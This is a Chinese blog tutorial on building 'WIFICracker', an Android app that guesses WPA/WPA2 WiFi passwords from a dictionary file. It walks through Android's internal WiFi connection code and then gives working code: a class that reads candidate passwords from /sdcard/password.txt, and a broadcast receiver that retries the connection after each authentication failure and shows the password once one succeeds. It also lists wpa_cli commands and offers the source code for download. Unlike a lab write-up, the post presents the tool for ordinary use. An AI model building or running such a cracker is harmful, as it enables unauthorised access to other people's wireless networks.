欢迎您来到懒之才-站长的分享平台!   学会偷懒,并懒出境界是提高工作效率最有效的方法!
首页 > 经验分享 > APP > 安卓WIFI密码破解工具编写初探

安卓WIFI密码破解工具编写初探

2023-07-13 348 收藏 0 赞一个 0 真差劲 1 去评论

内容简介

最近,在好几个安卓手机群里面都看到有朋友寻求WIFI密码破解工具,在网上经过一番搜索后发现居然没有这样的软件,这让我感到很奇怪,难道这样的功能实现起来很难?思索再三,决定探个究竟。

安卓WIFI原理浅析

首先看SDK中查看WIFI操作的相关类。WIFI的支持是在android.net.wifi包中提供的。里面有WifiManager、WifiInfo、WifiConfiguration与ScanResult等几个常用到的类,WIFI的管理通过WifiManager暴露出来的方法来操作,仔细一看还真让人郁闷,这个类没有提供连接WIFI的方法,倒是有disconnect()方法来断开连接,不过有个reconnect()方法倒是值得注意,只是该方法SDK中却没有详细的介绍。在谷歌中搜索安卓连接WIFI的代码又测试失败,心里顿时凉了一截!看来要想完成这个功能还得下一番功夫。

转念一想,安卓会不会把这样的接口隐藏了,通过AIDL的方式就可以访问呢?为了验证我的想法,开始在安卓源代码的“frameworks”目录中搜索以aidl结尾的文件,最终锁定“IWifiManager.aidl”文件,用Editplus打开它,发现IWifiManager接口里面也没有提供连接WIFI的方法。这条线索也断了!

看来只能从手机WIFI的连接过程着手了。掏出手机,进入“设置”->“无线和网络设置”->“WLAN设置”里面打开“WLAN”,这时手机会自动搜索附近的WIFI热点,点击任一个加密的热点会弹出密码输入框,如图1所示:

图片1.png

输入任意长度大于或等于8位的密码后点击连接按钮,此时手机就会去连接该热点,如果验证失败就会提示“密码错误,请重新输入正确的密码并且再试一次”,如图2所示:

图片1.png

如果此时更换密码后再试一次仍然失败的话,手机就不会再访问该热点并将该WLAN网络设为禁用。既然在手机设置里可以连接WIFI,那么说明设置里面就有连接WIFI的代码存在。

手机设置这一块是做为安卓手机的一个软件包提供的,它的代码位于安卓源码的“packages\apps\Settings”目录中,为了弄清楚操作流程,我决定到源码中查看相关代码。首先根据文件名判断打开“packages\apps\Settings\src\com\android\settings\wifi\WifiSettings.java”文件,可以看到WifiSettings类继承自SettingsPreferenceFragment,SettingsPreferenceFragment类使用一系列的PreferenceScreen作为显示的列表项,现在很多软件都用它来作为自身的设置页面,不仅布局更简单,而且也很方便。

找到WifiSettings的构造函数代码如下:

public WifiSettings() {
        mFilter = new IntentFilter();
    mFilter.addAction(WifiManager.WIFI_STATE_CHANGED_ACTION);
    mFilter.addAction(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
        mFilter.addAction(WifiManager.NETWORK_IDS_CHANGED_ACTION);
    mFilter.addAction(WifiManager.SUPPLICANT_STATE_CHANGED_ACTION);
    mFilter.addAction(WifiManager.CONFIGURED_NETWORKS_CHANGED_ACTION);
    mFilter.addAction(WifiManager.LINK_CONFIGURATION_CHANGED_ACTION);
    mFilter.addAction(WifiManager.NETWORK_STATE_CHANGED_ACTION);
    mFilter.addAction(WifiManager.RSSI_CHANGED_ACTION);
    mFilter.addAction(WifiManager.ERROR_ACTION);
    mReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            handleEvent(context, intent);
        }
    };
    mScanner = new Scanner();
}

这段代码注册了一个广播接收者,接收一系列的广播事件,WIFI_STATE_CHANGED_ACTION事件当WIFI功能开启或关闭时会收到,SCAN_RESULTS_AVAILABLE_ACTION事件当手机扫描到有可用的WIFI连接时会收到,SUPPLICANT_STATE_CHANGED_ACTION事件当连接请求状态发生改变时会收到,NETWORK_STATE_CHANGED_ACTION事件当网络状态发生变化时会收到,对于其它的事件我们不用去关心,广播接收者中调用handleEvent()方法对所有的事件进行判断并处理,事件处理代码如下:

private void handleEvent(Context context, Intent intent) {
        String action = intent.getAction();
        if (WifiManager.WIFI_STATE_CHANGED_ACTION.equals(action)) {
            updateWifiState(intent.getIntExtra(WifiManager.EXTRA_WIFI_STATE,
                    WifiManager.WIFI_STATE_UNKNOWN));
        } else if (WifiManager.SCAN_RESULTS_AVAILABLE_ACTION.equals(action) ||
                WifiManager.CONFIGURED_NETWORKS_CHANGED_ACTION.equals(action) ||
                WifiManager.LINK_CONFIGURATION_CHANGED_ACTION.equals(action)) {
                updateAccessPoints();
        } else if (WifiManager.SUPPLICANT_STATE_CHANGED_ACTION.equals(action)) {
            if (!mConnected.get()) {
                updateConnectionState(WifiInfo.getDetailedStateOf((SupplicantState)
                        intent.getParcelableExtra(WifiManager.EXTRA_NEW_STATE)));
            }
            if (mInXlSetupWizard) {
                ((WifiSettingsForSetupWizardXL)getActivity()).onSupplicantStateChanged(intent);
            }
        } else if (WifiManager.NETWORK_STATE_CHANGED_ACTION.equals(action)) {
            NetworkInfo info = (NetworkInfo) intent.getParcelableExtra(
                    WifiManager.EXTRA_NETWORK_INFO);
            mConnected.set(info.isConnected());
            changeNextButtonState(info.isConnected());
            updateAccessPoints();
            updateConnectionState(info.getDetailedState());
        }
        .....
}

代码中分别调用updateWifiState()、updateConnectionState()、updateAccessPoints()等方法进行更新操作,同样凭感觉查看updateAccessPoints()方法,代码如下:

private void updateAccessPoints() {
        final int wifiState = mWifiManager.getWifiState();
        switch (wifiState) {
            case WifiManager.WIFI_STATE_ENABLED:
                // AccessPoints are automatically sorted with TreeSet.
                final Collection<AccessPoint> accessPoints = constructAccessPoints();
                getPreferenceScreen().removeAll();
                if (mInXlSetupWizard) {
                    ((WifiSettingsForSetupWizardXL)getActivity()).onAccessPointsUpdated(
                            getPreferenceScreen(), accessPoints);
                } else {
                    for (AccessPoint accessPoint : accessPoints) {
                        getPreferenceScreen().addPreference(accessPoint);
                    }
                }
                break;
               .....
    }

成功开启WIFI,即getWifiState()返回为WIFI_STATE_ENABLED时首先会调用constructAccessPoints(),在这个方法中调用mWifiManager.getConfiguredNetworks()与mWifiManager.getScanResults()来分别获取已保存与可用的WIFI热点网络,接着判断mInXlSetupWizard并调用onAccessPointsUpdated()或addPreference(accessPoint),这两者的操作都是往页面添加显示搜索到的WIFI热点网络,区别只是调用者是不是大屏手机或平板电脑(mInXlSetupWizard意思为是否为大屏幕的设置向导,这个结论由长时间分析所得!*_*,XL=XLarge)。AccessPoints 的构造函数有三个,代码如下:

AccessPoint(Context context, WifiConfiguration config) {
        super(context);
        setWidgetLayoutResource(R.layout.preference_widget_wifi_signal);
        loadConfig(config);
        refresh();
    }
    AccessPoint(Context context, ScanResult result) {
        super(context);
        setWidgetLayoutResource(R.layout.preference_widget_wifi_signal);
        loadResult(result);
        refresh();
    }
    AccessPoint(Context context, Bundle savedState) {
        super(context);
        setWidgetLayoutResource(R.layout.preference_widget_wifi_signal);
        mConfig = savedState.getParcelable(KEY_CONFIG);
        if (mConfig != null) {
            loadConfig(mConfig);
        }
        mScanResult = (ScanResult) savedState.getParcelable(KEY_SCANRESULT);
        if (mScanResult != null) {
            loadResult(mScanResult);
        }
        mInfo = (WifiInfo) savedState.getParcelable(KEY_WIFIINFO);
        if (savedState.containsKey(KEY_DETAILEDSTATE)) {
            mState = DetailedState.valueOf(savedState.getString(KEY_DETAILEDSTATE));
        }
        update(mInfo, mState);
}

上面的两个构造函数分别针对调用mWifiManager.getConfiguredNetworks()与mWifiManager.getScanResults()得来的结果调用loadConfig(WifiConfiguration config)与loadResult(ScanResult result),经过这一步后,AccessPoints 的成员变量也初始化完了,然后调用refresh()方法进行刷新显示操作,代码我就不帖了,主要就是设置显示SSID,SSID的加密方式,信号强度等。显示工作做完后,我们的重点应用转向WIFI热点网络点击事件的处理。点击事件的处理同样在WifiSettings.java文件中,代码如下:

@Override
    public boolean onPreferenceTreeClick(PreferenceScreen screen, Preference preference) {
        if (preference instanceof AccessPoint) {
            mSelectedAccessPoint = (AccessPoint) preference;
            /** Bypass dialog for unsecured, unsaved networks */
            if (mSelectedAccessPoint.security == AccessPoint.SECURITY_NONE &&
                    mSelectedAccessPoint.networkId == INVALID_NETWORK_ID) {
                mSelectedAccessPoint.generateOpenNetworkConfig();
                mWifiManager.connectNetwork(mSelectedAccessPoint.getConfig());
            } else {
                showConfigUi(mSelectedAccessPoint, false);
            }
        } else {
            return super.onPreferenceTreeClick(screen, preference);
        }
        return true;
}

这段代码很简单,如果WIFI没有加密,直接调用mSelectedAccessPoint.generateOpenNetworkConfig()生成一个不加密的WifiConfiguration,代码如下:

protected void generateOpenNetworkConfig() {
        if (security != SECURITY_NONE)
            throw new IllegalStateException();
        if (mConfig != null)
            return;
        mConfig = new WifiConfiguration();
        mConfig.SSID = AccessPoint.convertToQuotedString(ssid);
        mConfig.allowedKeyManagement.set(KeyMgmt.NONE);
}

代码首先new了一个WifiConfiguration赋值给mConfig,然后设置allowedKeyManagement为KeyMgmt.NONE表示不使用加密连接,这个工作做完成后就调用了mWifiManager的connectNetwork()方法进行连接,看这个方法的父亲可以发现是WifiManager,居然是WifiManager,可这个方法却没有导出!!!

继续分析,如果是加密的WIFI,就调用showConfigUi()方法来显示输入密码框,对于大屏手机,即mInXlSetupWizard为真时,调用了WifiSettingsForSetupWizardXL类的showConfigUi()方法,如果为假就直接调用showDialog(accessPoint, edit)显示对话框,代码如下:

private void showDialog(AccessPoint accessPoint, boolean edit) {
        if (mDialog != null) {
            removeDialog(WIFI_DIALOG_ID);
            mDialog = null;
        }
        // Save the access point and edit mode
        mDlgAccessPoint = accessPoint;
        mDlgEdit = edit;
        showDialog(WIFI_DIALOG_ID);
}
@Override
    public Dialog onCreateDialog(int dialogId) {
        AccessPoint ap = mDlgAccessPoint; // For manual launch
        if (ap == null) { // For re-launch from saved state
            if (mAccessPointSavedState != null) {
                ap = new AccessPoint(getActivity(), mAccessPointSavedState);
                // For repeated orientation changes
                mDlgAccessPoint = ap;
            }
        }
        // If it's still null, fine, it's for Add Network
        mSelectedAccessPoint = ap;
        mDialog = new WifiDialog(getActivity(), this, ap, mDlgEdit);
        return mDialog;
    }

这段代码保存accessPoint后就调用showDialog(WIFI_DIALOG_ID)了,在onCreateDialog()初始化方法中判断mDlgAccessPoint是否为null,如果为null就调用AccessPoint的第三个构造方法从保存的状态中生成一个AccessPoint,最后new WifiDialog(getActivity(), this, ap, mDlgEdit)生成一个WifiDialog,这个WifiDialog继承自AlertDialog,也就是它,最终将对话框展现在我们面前,WifiDialog构造函数的第二个参数为DialogInterface.OnClickListener的监听器,设置为this表示类本身对按钮点击事件进行响应,接下来找找事件响应代码,马上就到关键啰!

public void onClick(DialogInterface dialogInterface, int button) {
        if (mInXlSetupWizard) {
            if (button == WifiDialog.BUTTON_FORGET && mSelectedAccessPoint != null) {
                forget();
            } else if (button == WifiDialog.BUTTON_SUBMIT) {
                ((WifiSettingsForSetupWizardXL)getActivity()).onConnectButtonPressed();
            }
        } else {
            if (button == WifiDialog.BUTTON_FORGET && mSelectedAccessPoint != null) {
                forget();
            } else if (button == WifiDialog.BUTTON_SUBMIT) {
                submit(mDialog.getController());
            }
        }
}

代码判断弹出的对话框是WIFI热点抛弃还是WIFI连接,并做出相应的处理,这里看看submit()方法的代码:

void submit(WifiConfigController configController) {
        int networkSetup = configController.chosenNetworkSetupMethod();
        switch(networkSetup) {
            case WifiConfigController.WPS_PBC:
            case WifiConfigController.WPS_DISPLAY:
            case WifiConfigController.WPS_KEYPAD:
                mWifiManager.startWps(configController.getWpsConfig());
                break;
            case WifiConfigController.MANUAL:
                final WifiConfiguration config = configController.getConfig();
                if (config == null) {
                    if (mSelectedAccessPoint != null
                            && !requireKeyStore(mSelectedAccessPoint.getConfig())
                            && mSelectedAccessPoint.networkId != INVALID_NETWORK_ID) {
                        mWifiManager.connectNetwork(mSelectedAccessPoint.networkId);
                    }
                } else if (config.networkId != INVALID_NETWORK_ID) {
                    if (mSelectedAccessPoint != null) {
                        saveNetwork(config);
                    }
                } else {
                    if (configController.isEdit() || requireKeyStore(config)) {
                        saveNetwork(config);
                    } else {
                        mWifiManager.connectNetwork(config);
                    }
                }
                break;
        }
        if (mWifiManager.isWifiEnabled()) {
            mScanner.resume();
        }
        updateAccessPoints();
}

关键代码终于找到了,那个叫激动啊T_T!按钮事件首先对WIFI网络加密类型进行判断,是WPS的就调用mWifiManager.startWps(configController.getWpsConfig()),是手动设置就调用被点击AccessPoint 项的getConfig()方法读取WifiConfiguration信息,如果不为null调用connectNetwork(mSelectedAccessPoint.networkId)连接网络,为null说明可能是AccessPoint 调用第二个构造函数使用ScanResult生成的,则调用saveNetwork(config),看看saveNetwork()的代码:

private void saveNetwork(WifiConfiguration config) {
        if (mInXlSetupWizard) {
            ((WifiSettingsForSetupWizardXL)getActivity()).onSaveNetwork(config);
        } else {
            mWifiManager.saveNetwork(config);
        }
}

调用的mWifiManager.saveNetwork(config)方法,这个方法同样在SDK中没有导出,到源码中找找,最终在源代码的“frameworks\base\wifi\java\android\net\wifi\WifiManager.java”文件中找到是通过向自身发送消息的方式调用了WifiStateMachine.java->WifiConfigStore.java->saveNetwork()方法,最终保存WIFI网络后发送了一个已配置网络变更广播,这里由于篇幅就不再展开了。

分析到这里,大概了解了WIFI连接的整个流程,程序无论是否为加密的WIFI网络,最终调用WifiManager的connectNetwork()方法来连接网络。而这个方法在SDK中却没有导出,我们该如何解决这个问题,一杯茶后,马上回来......

connectNetwork()方法

我始终不明白安卓SDK中为什么不开放connectNetwork这个接口,但现在需要用到了,也只能接着往下面分析,WifiManager是Framework层的,接下来的探索移步到安卓源码“frameworks\base\wifi\java\android\net\wifi”目录中去,在WifiManager.java中搜索“connectNetwork”,代码如下:

/**
     * Connect to a network with the given configuration. The network also
     * gets added to the supplicant configuration.
     *
     * For a new network, this function is used instead of a
     * sequence of addNetwork(), enableNetwork(), saveConfiguration() and
     * reconnect()
     *
     * @param config the set of variables that describe the configuration,
     *            contained in a {@link WifiConfiguration} object.
     * @hide
     */
    public void connectNetwork(WifiConfiguration config) {
        if (config == null) {
            return;
        }
        mAsyncChannel.sendMessage(CMD_CONNECT_NETWORK, config);
}

注意看注释部分!“对于一个新的网络,这个函数相当于陆续调用了addNetwork(), enableNetwork(), saveConfiguration() 与 reconnect()”。看到这句话,心里可美了,因为这四个函数在SDK中都有导出,在代码中分别调用它们不就达到调用connectNetwork的目的了么?

继续分析代码,如果config不为空,connectNetwork就通过mAsyncChannel发送了一条“CMD_CONNECT_NETWORK”的消息,mAsyncChannel的声明如下:

/* For communication with WifiService */
    private AsyncChannel mAsyncChannel = new AsyncChannel();

从注释上理解,这个东西是用来与WifiService 通信的。WifiService 属于Framework底层的服务,位于源码“\frameworks\base\services\java\com\android\server”目录,找到代码如下:

@Override
        public void handleMessage(Message msg) {
            switch (msg.what) {
        ......
        case WifiManager.CMD_CONNECT_NETWORK: {
                    if (msg.obj != null) {
                        mWifiStateMachine.connectNetwork((WifiConfiguration)msg.obj);
                    } else {
                        mWifiStateMachine.connectNetwork(msg.arg1);
                    }
                    break;
                }
        ......
            }
    }

在handleMessage()方法中有很多消息处理,这里由于篇幅只列出了CMD_CONNECT_NETWORK,可以看出这WifiService 就是个“托”,它只是将“病人”重新转给mWifiStateMachine处理,mWifiStateMachine为WifiStateMachine类,代码和WifiManager在同一目录,找到connectNetwork代码如下:

public void connectNetwork(int netId) {
        sendMessage(obtainMessage(CMD_CONNECT_NETWORK, netId, 0));
    }
    public void connectNetwork(WifiConfiguration wifiConfig) {
        /* arg1 is used to indicate netId, force a netId value of
         * WifiConfiguration.INVALID_NETWORK_ID when we are passing
         * a configuration since the default value of 0 is a valid netId
         */
        sendMessage(obtainMessage(CMD_CONNECT_NETWORK, WifiConfiguration.INVALID_NETWORK_ID,
                0, wifiConfig));
}

真有才了!还在发消息,只不过是给自已发,我真怀疑这写WIFI模块的是不是90后,这一层层绕的不头晕?找到处理代码如下:

@Override
        public boolean processMessage(Message message) {
           ......
               case CMD_CONNECT_NETWORK:
                    int netId = message.arg1;
                    WifiConfiguration config = (WifiConfiguration) message.obj;
                    /* We connect to a specific network by issuing a select
                     * to the WifiConfigStore. This enables the network,
                     * while disabling all other networks in the supplicant.
                     * Disabling a connected network will cause a disconnection
                     * from the network. A reconnectCommand() will then initiate
                     * a connection to the enabled network.
                     */
                    if (config != null) {
                        netId = WifiConfigStore.selectNetwork(config);
                    } else {
                        WifiConfigStore.selectNetwork(netId);
                    }
                    /* The state tracker handles enabling networks upon completion/failure */
                    mSupplicantStateTracker.sendMessage(CMD_CONNECT_NETWORK);
                    WifiNative.reconnectCommand();
                    mLastExplicitNetworkId = netId;
                    mLastNetworkChoiceTime  = SystemClock.elapsedRealtime();
                    mNextWifiActionExplicit = true;
                    if (DBG) log("Setting wifi connect explicit for netid " + netId);
                    /* Expect a disconnection from the old connection */
                    transitionTo(mDisconnectingState);
                    break;
                   ......
}

注释中说:通过WifiConfigStore的selectNetwork()方法连接一个特定的网络,当禁用supplicant中其它所有网络时,会连接网络,而禁用一个已经连接的网络,将会引发disconnection操作,reconnectCommand()方法会初始化并连接已启用的网络。

selectNetwork()过后,mSupplicantStateTracker发送了一条CMD_CONNECT_NETWORK消息,它其实只做了一件事,就是将“mNetworksDisabledDuringConnect ”设为true。最后WifiNative.reconnectCommand()对网络进行重新连接,至此,WIFI的连接过程就完毕了,下面看看selectNetwork()代码:

static int selectNetwork(WifiConfiguration config) {
        if (config != null) {
            NetworkUpdateResult result = addOrUpdateNetworkNative(config);
            int netId = result.getNetworkId();
            if (netId != INVALID_NETWORK_ID) {
                selectNetwork(netId);
            } else {
                loge("Failed to update network " + config);
            }
            return netId;
        }
        return INVALID_NETWORK_ID;
}
static void selectNetwork(int netId) {
        // Reset the priority of each network at start or if it goes too high.
        if (sLastPriority == -1 || sLastPriority > 1000000) {
            synchronized (sConfiguredNetworks) {
                for(WifiConfiguration config : sConfiguredNetworks.values()) {
                    if (config.networkId != INVALID_NETWORK_ID) {
                        config.priority = 0;
                        addOrUpdateNetworkNative(config);
                    }
                }
            }
            sLastPriority = 0;
        }
        // Set to the highest priority and save the configuration.
        WifiConfiguration config = new WifiConfiguration();
        config.networkId = netId;
        config.priority = ++sLastPriority;
        addOrUpdateNetworkNative(config);
        WifiNative.saveConfigCommand();
        enableNetworkWithoutBroadcast(netId, true);
    }

代码都在这里了,我再也不帖了,帖了太多了,这段代码流程为addOrUpdateNetworkNative()先保存一个,然后对已保存的网络优先级降下来,这是为了让新网络拥有更高的优先连接权,接着执行saveConfigCommand()将配置信息保存,这里的保存操作在底层是将网络信息保存到了“/data/misc/wifi/wpa_supplicant.conf”文件中,最后enableNetworkWithoutBroadcast(netId, true)启用本网络并禁用其它网络。

小结一下connectNetwork的执行步骤为“WifiConfigStore.selectNetwork()”->“addOrUpdateNetworkNative()”->“其它网络降级并设置自已最高优先级”->“WifiNative.saveConfigCommand()”->“enableNetworkWithoutBroadcast(netId, true);”->“WifiNative.reconnectCommand()”->“通过广播判断连接成功或失败”。

既然connectNetwork的执行步骤现在清楚了,那我们自己实现它便可以完成WIFI的手动连接了

代码编写

WIFI密码破解器的编写有三种思路:

第一种就是上面说的自己动手实现connectNetwork,按照SDK中常规步骤连接WIFI,本文采用此方法。

第二种就是参看WIFI的连接代码,通过NDK方式自己实现WIFI底层操作的调用,这种方法本文不介绍。

第三种方法同样通过NDK方式,但优雅些。在上面的分析中,我没有提到安卓WIFI的核心wpa_supplicant,它作为安卓WIFI的一个组件存在,为安卓系统提供了WPA、WPA2等加密网络的连接支持。在手机系统的“/system/bin”目录中,有“wpa_supplicant”与“wpa_cli”两个文件,前者是一个服务,客户端通过它控制手机无线网卡,如发送AP扫描指令、提取扫描结果、关联AP操作等。后者是一个命令行工具,用来与wpa_supplicant通信,在正常启动wpa_supplicant服务后执行下面的指令便可以连接上WIFI网络:

wpa_cli -iwlan0 add_network              // 增加一个网络,会返回一个网络号,假设为1

wpa_cli -iwlan0 set_network 1 ssid '"……"'     //ssid为要连接的网络名

wpa_cli -iwlan0 set_network 1 psk '"……"'   //psk为连接的密码

wpa_cli -iwlan0 enable_network 1    //以下三条与上面connectNetwork分析功能一致

wpa_cli -iwlan0 select_network 1

wpa_cli -iwlan0 save_config

但实际上,通过命令行启动wpa_supplicant却不能成功,因为需要先加载WIFI驱动,然后才能启用wpa_supplicant服务。在手机WLAN设置中启用WIFI后,会调用WifiManager.setWifiEnabled,这个方法会依次调用WifiNative.loadDriver()->WifiNative.startSupplicant()。在加载成功后会设置一个延迟时间,到延迟时间后就会调用WifiNative.stopSupplicant()->WifiNative.unloadDriver()停止wpa_supplicant服务并卸载驱动,这是为了给设备省电,因为WIFI驱动长时间加载可是很耗电的。

命令行本身无法直接加载驱动,导致了wpa_supplicant无法成功开启,这也是无法通过命令行直接连接WIFI的原因,但并不是没有突破方法!可以写代码并使用NDK方式调用WifiNative.loadDriver(),接着启用wpa_supplicant服务,服务加载成功后执行上面的wpa_cli命令行,就可以轻松连接WIFI了。可以直接写一个原生的bin,实现驱动加载及WIFI连接,然后在安卓代码中直接以创建进程的方式启动或者在shell中执行等方式运行。这些方法都具有可行性,本文不做深入探讨,只采用文中介绍的第一种方法来完成程序的功能。

目前WIFI加密种类常用的有WEP、WPA、WPA2、EAP等,WifiManager将WEP与EAP做了内部消化,WPA与WPA2则使用wpa_supplicant进行管理,目前,由于WEP的安全性问题,使用的人已经不多了,一般用户采用WPA与WPA2方式接入较多,在今天的程序中,也只处理了这两种加密的情况。

按照上面的分析思路,代码实现应该很明了了,但实际编码过程中还是存在着诸多问题,首先是停止扫描的问题,在WifiManager中没有提供stopScan()方法,而是在其中通过一个内部继承自Handler的SCanner来管理,目前来说,我没想到解决方案,在开始破解跑WIFI密码的过程中,WIFI扫描线程一直还是开着,我只是通过一个cracking的布尔值判断来阻止界面的更新,这个问题可能在SDK层无法得到解决。第二个问题是一些类的枚举值,如SupplicantState.AUTHENTICATING、KeyMgmt.WPA2_PSK等在SDK中都是没导出的,要想使用就需要自己添加。谈到WPA2_PSK,很有必要讲一下WifiConfiguration类的构造,连接WIFI前需要先构造这个类,然后通过addNetwork()添加网络操作后才能进行下一步的连接,在网上搜索到的连接代码如下:

......
mConfig = new WifiConfiguration();
mConfig.status = WifiConfiguration.Status.ENABLED;
mConfig.hiddenSSID = false;
mConfig.SSID = "\"ssid\"";
mConfig.preSharedKey = "\"password\"";
mConfig.allowedAuthAlgorithms.set(AuthAlgorithm.OPEN);
mConfig.allowedKeyManagement.set(KeyMgmt.WPA_PSK);
mConfig.allowedProtocols.set(WifiConfiguration.Protocol.RSN);
mConfig.allowedPairwiseCiphers.set(PairwiseCipher.CCMP);
mConfig.allowedPairwiseCiphers.set(PairwiseCipher.TKIP);
mConfig.allowedGroupCiphers.set(GroupCipher.CCMP);
mConfig.allowedGroupCiphers.set(GroupCipher.TKIP);
Int netid = wm.addNetwork(mConfig);
wm.enableNetwork(netid, false);
......

在测试初期我是直接搬这代码来用的,实际上这代码是废的,根本连接不上任何的WIFI,状态代码显示一直停留在关联AP中,而且这样设置WifiConfiguration后在手机设置中也无法开启使用WIFI了,当时我也很纳闷,你都不能用的代码,怎么还在网上好多篇帖子里乱窜?后来跟踪WIFI连接的过程后,整理出的代码如下:

......
if (security == SECURITY_PSK) {
    mConfig = new WifiConfiguration();
    mConfig.SSID = AccessPoint.convertToQuotedString(ssid);
    if (pskType == PskType.WPA) {
        mConfig.allowedProtocols.set(WifiConfiguration.Protocol.WPA);
    }
    else if (pskType == PskType.WPA2) {
        mConfig.allowedProtocols.set(WifiConfiguration.Protocol.RSN);
}
mConfig.priority = 1;
mConfig.status = WifiConfiguration.Status.ENABLED;
    mConfig.SSID = "\"ssid\"";
mConfig.preSharedKey = "\"password\"";
    Int netid = wm.addNetwork(mConfig);
    wm.enableNetwork(netid, false);
......
}

代码比上面的要简洁些,这不该有的东西啊你坚决不能有!

启动Eclipse新建一个WIFICracker的工程,OnCreate()方法代码如下:

public void onCreate(Bundle savedInstanceState) {
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);        
        try {
            passwordGetter = new PasswordGetter("/sdcard/password.txt");
        } catch (FileNotFoundException e) {
            showMessageDialog("程序初始化失败", "请将密码字典放到SD卡目录并更名为password.txt", "确定",
                    false, new OnClickListener() {                
                public void onClick(DialogInterface dialog, int which) {
                    WIFICracker.this.finish();                 
                }
            });            
        }
        wm = (WifiManager) getSystemService(WIFI_SERVICE);
        if(!wm.isWifiEnabled())
            wm.setWifiEnabled(true);    //开启WIFI
        deleteSavedConfigs();
        cracking = false;
        netid = -1;
        wifiReceiver = new WifiReceiver();
        intentFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
        intentFilter.addAction(WifiManager.SUPPLICANT_STATE_CHANGED_ACTION);
        registerReceiver(wifiReceiver, intentFilter);
        wm.startScan(); //开始扫描网络  
    }

deleteSavedConfigs()方法将手机已存的Config中全部删除,原因是因为如果已经保存了正确的WIFI连接密码,程序运行会无法工作,具体代码参看附件。然后构造一个PasswordGetter对象,它用来读取"/sdcard/password.txt"文件每一行作为WIFI的探测密码,类的完整代码如下:

public class PasswordGetter {
    private String password;
    private File file;
    private FileReader reader;
    private BufferedReader br;
    public PasswordGetter(String passwordFile){
        password = null;
        try {
            //File file = new File("/sdcard/password.txt");
            file = new File(passwordFile);
            if (!file.exists())
                throw new FileNotFoundException();
            reader = new FileReader(file);
            br = new BufferedReader(reader);
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }
    }
    public void reSet(){
        try {
            br.close();
            reader.close();
            reader = new FileReader(file);
            br = new BufferedReader(reader);
        } catch (IOException e) {
            e.printStackTrace();
            password = null;
        }
    }
    public String getPassword(){
        try {
            password = br.readLine();
        } catch (IOException e) {
            e.printStackTrace();
            password = null;
        }
        return password;
    }
    public void Clean(){
        try {
            br.close();
            reader.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

这个类很简单,具体代码就不分析了,为了方便配置与加载WifiConfiguration,我将安卓源码中的AccessPoint类进行了部分改装后用到程序中,这样可以节省很多时间。

程序的核心在于对WIFI状态的控制与连接,前者我使用了广播接收者进行监听,在收到广播后进行相应处理,代码如下:

class WifiReceiver extends BroadcastReceiver {
        @Override
        public void onReceive(Context context, Intent intent) {        
            String action = intent.getAction();
            if (WifiManager.SCAN_RESULTS_AVAILABLE_ACTION.equals(action)) {
                if (results == null)    //只初始化一次
                    results = wm.getScanResults();
                try {
                    setTitle("WIFI连接点个数为:"
                    + String.valueOf(getPreferenceScreen().getPreferenceCount()));
                } catch (Exception e) {
                    e.printStackTrace();
                }
                if( cracking == false)  //破解WIFI密码时不更新界面
                    update();                
            } else if (WifiManager.SUPPLICANT_STATE_CHANGED_ACTION.equals(action)) {
                WifiInfo info = wm.getConnectionInfo();
                SupplicantState state = info.getSupplicantState();
                String str = null;
                if (state == SupplicantState.ASSOCIATED){
                    str = "关联AP完成";
                } else if(state.toString().equals("AUTHENTICATING")){
                    str = "正在验证";
                } else if (state == SupplicantState.ASSOCIATING){
                    str = "正在关联AP...";
                } else if (state == SupplicantState.COMPLETED){
                    if(cracking) {
                        cracking = false;
                        showMessageDialog("恭喜您,密码跑出来了!", "密码为:"
                                + AccessPoint.removeDoubleQuotes(password),
                                "确定", false, new OnClickListener(){    
                            public void onClick(DialogInterface dialog, int which) {
                                wm.disconnect();
                                enablePreferenceScreens(true);
                            }                        
                        });
                        cracking = false;
                        return;
                    } else
                        str = "已连接";
                } else if (state == SupplicantState.DISCONNECTED){
                    str = "已断开";
                } else if (state == SupplicantState.DORMANT){
                    str = "暂停活动";
                } else if (state == SupplicantState.FOUR_WAY_HANDSHAKE){
                    str = "四路握手中...";
                } else if (state == SupplicantState.GROUP_HANDSHAKE){
                    str = "GROUP_HANDSHAKE";
                } else if (state == SupplicantState.INACTIVE){
                    str = "休眠中...";
                    if (cracking) connectNetwork(); //连接网络     
                } else if (state == SupplicantState.INVALID){
                    str = "无效";
                } else if (state == SupplicantState.SCANNING){
                    str = "扫描中...";
                } else if (state == SupplicantState.UNINITIALIZED){
                    str = "未初始化";
                }
                setTitle(str);
   final int errorCode = intent.getIntExtra(WifiManager.EXTRA_SUPPLICANT_ERROR, -1);
                if (errorCode == WifiManager.ERROR_AUTHENTICATING) {
                    Log.d(TAG, "WIFI验证失败!");
                    setTitle("WIFI验证失败!");
                    if( cracking == true)
                        connectNetwork();
                }
            }            
        }           
}

这些代码的实现一部分源于查看SDK后的测试,另一部分源于跟踪安卓源码时的摘录。如这段:

final int errorCode = intent.getIntExtra(WifiManager.EXTRA_SUPPLICANT_ERROR, -1);
          if (errorCode == WifiManager.ERROR_AUTHENTICATING) {
                    Log.d(TAG, "WIFI验证失败!");
                    setTitle("WIFI验证失败!");
                    if( cracking == true)
                        connectNetwork();
                }

不查看安卓源码,你根本不会知道怎么检测WifiManager.ERROR_AUTHENTICATING,这让我在写测试代码时也着实苦恼了一段时间。好了,代码就分析到这里,回想一下,网上为什么没有这样的软件也知道原因了,因为SDK中没有提供相应的WIFI连接接口,要想实现就必须要深入研究这块,因此,太多人觉得过于繁琐也就没弄了。

最后,测试了一下效果,一分钟大概能跑20个密码,上个跑密码截图:

图片2.png

源码下载

传送门

一、推荐使用迅雷或快车等多线程下载软件下载本站资源。

二、未登录会员无法下载,登录后可获得更多便利功能,若未注册,请先注册。

三、如果服务器暂不能下载请稍后重试!总是不能下载,请点我报错 ,谢谢合作!

四、本站大部分资源是网上搜集或私下交流学习之用,任何涉及商业盈利目的均不得使用,否则产生的一切后果将由您自己承担!本站将不对任何资源负法律责任.如果您发现本站有部分资源侵害了您的权益,请速与我们联系,我们将尽快处理.

五、如有其他问题,请加网站设计交流群(点击这里查看交流群 )进行交流。

六、如需转载本站资源,请注明转载来自并附带链接

七、本站部分资源为加密压缩文件,统一解压密码为:www.aizhanzhe.com

大家评论